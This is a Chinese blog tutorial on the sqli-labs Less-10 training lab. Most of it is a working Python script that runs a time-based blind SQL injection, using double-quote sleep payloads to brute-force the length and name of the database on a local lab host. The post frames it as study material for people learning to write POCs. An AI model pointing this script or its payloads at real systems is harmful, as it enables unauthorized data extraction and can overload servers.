当前位置: 首页 > article >正文

sqli-labs靶场自动化利用工具——第10关

文章目录

  • 概要
  • 整体架构流程
  • 技术细节
  • 执行效果
  • 小结

概要

Sqli-Labs靶场对于网安专业的学生或正在学习网安的朋友来说并不陌生,或者说已经很熟悉。那有没有朋友想过自己开发一个测试脚本能实现自动化化测试sqli-labs呢?可能有些人会说不是有sqlmap,那我们又何须使用这个小脚本呢?这里我统一回答,sqlmap只是一个工具,工具始终是不能代替人的思考。开发这个测试的脚本他都是有针对性的,他是针对每一关的精心设计。但凡脱离实际都是在空想。我也是一直围绕这个主题,所以想到了开发能自动化测试sqli-labs靶场每一关的POC。最后这个只能用于有基础的网安人进行学习,学习网安路还是不能投机取巧的。

本章适合人群:

  1. 网安专业学生
  2. 报班学习网安内容的同学
  3. 提高写POC能力的网安从业者

整体架构流程

因为是sqli-labs的第10关,且我觉得名字很是麻烦,所以我在写脚本的时候错将sqli-labs写成了sql-libs请见谅。如果你有强迫症可以自行修改。

整体流程主要是仿爬虫的形式访问网页,之后将得到的数据记录在和py文件同一级的目录下面。

第10关使用的也是暴力破解的原理,在真实网站测试时最好不要使用,极有可能使对方服务器瘫痪。这个只是讨论学习,不要用于非法用途。

和第9关一样没有在数据库最大长度上添加安全校验,有兴趣的小伙伴可以自行添加。

且和第九关的区别主要是在单引号和双引号的区别,其他类似。

技术细节

import requests
import time

# 全局变量
url = 'http://sql:8081/Less-10/'
headers = {
    'Host': 'sql:8081',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding': 'gzip, deflate',
    'Connection': 'close',
    'Upgrade-Insecure-Requests': '1',
    'Priority': 'u=0, i'
}


def verify_length(length):
    params = {
        'id': f'1" and if(length(database())={length}, sleep(5), 0)-- -'
    }
    for _ in range(3):  # 尝试3次
        try:
            start_time = time.time()
            response = requests.get(url, headers=headers, params=params, verify=False, timeout=10)
            response_time = time.time() - start_time

            if response_time >= 4.5:
                return True
        except requests.RequestException as e:
            print(f"请求错误: {e}")
    return False


def brute_dblength():
    try:
        max_dblength = int(input('数据库可能最大长度:').strip())
    except ValueError:
        print("请输入一个有效的数字")
        return None

    for dblength in range(1, max_dblength + 1):
        print(f"正在测试长度: {dblength}")
        if verify_length(dblength):
            print(f'{url} 存在漏洞,数据库长度为 {dblength}')
            return dblength

    print(f'数据库长度大于 {max_dblength},请尝试增加最大长度。')
    return None


def brute_dbname(dblength):
    dbname = ''
    for position in range(1, dblength + 1):
        for ascii_code in range(97, 123, 1):  # 所有可打印ASCII字符
            params = {
                'id': f'1" and if(ascii(substr(database(),{position},1))={ascii_code}, sleep(1), 0)-- -'
            }
            try:
                start_time = time.time()
                response = requests.get(url, headers=headers, params=params, verify=False, timeout=5)
                response_time = time.time() - start_time

                if response_time >= 0.9:  # 使用稍小的阈值
                    dbname += chr(ascii_code)
                    print(f'发现数据库名称的第 {position} 个字符: {chr(ascii_code)}')
                    break
            except requests.RequestException as e:
                print(f'Error scanning {url}: {e}')
                return None
        else:
            print(f'数据库名称的第 {position} 个字符未找到匹配。')
            return None

    print(f'完整的数据库名称为: {dbname}')
    return dbname


def main():
    print("开始数据库长度探测")
    dblength = brute_dblength()
    if dblength:
        print("开始数据库名称探测")
        brute_dbname(dblength)
    else:
        print("无法确定数据库长度,程序终止")


if __name__ == "__main__":
    main()

执行效果

小结

由于我的sqli-labs靶场是搭建在我的本机,所以使用代码时需要进行修改。

且想输出不一样的文件内容格式,也可以进行微调整。

最后还是那句话网安的路上不会一帆风顺,还需脚踏实地一步一个脚印的前行,仅用于POC的学习使用,其他使用与作者无关。


http://www.kler.cn/a/307155.html

相关文章:

  • 深入理解BERT模型配置:BertConfig类详解
  • 系统架构设计师论文:大数据Lambda架构
  • 【2024最新】基于springboot+vue的闲一品交易平台lw+ppt
  • Linux设置socks代理
  • 计算机网络易混淆知识点串记
  • AI生活之我用AI处理Excel表格
  • 上汽大众:存储成本节约85%,查询性能提升5倍|OceanBase案例
  • 【Multi-UAV】多无人机实现凸多边形区域覆盖--Voronoi分割
  • Mysql树形结构表-查询所有子集数据
  • 【OJ刷题】快慢指针问题
  • ARM驱动学习之基础小知识
  • Windows环境本地部署Oracle 19c及卸载实操手册
  • STL-vector练习题
  • 【2025届华为秋招机考三道编程题之一】华为校招留学生软件开发工程师-真题机考笔试/(200分)- 跳格子3(Java JS Python C)
  • 【C++】模板进阶:深入解析模板特化
  • 【数据库】MySQL内置函数
  • Args4j:Java命令行参数解析的利器
  • Java 入门指南:JVM(Java虚拟机)垃圾回收机制 —— 死亡对象判断方法
  • uniapp自定义导航栏以及页面加背景
  • CSP-J算法基础 计数排序
  • mis_table.cs 与 csharp_mis_table.h
  • Oracle(121)如何进行数据文件的恢复?
  • Linux中使用Docker构建Nginx容器完整教程
  • k8s使用本地docker私服启动自制的flink集群
  • OKHttp实现原理分享
  • vue3 指定元素全屏 screenfull(可直接粘贴使用)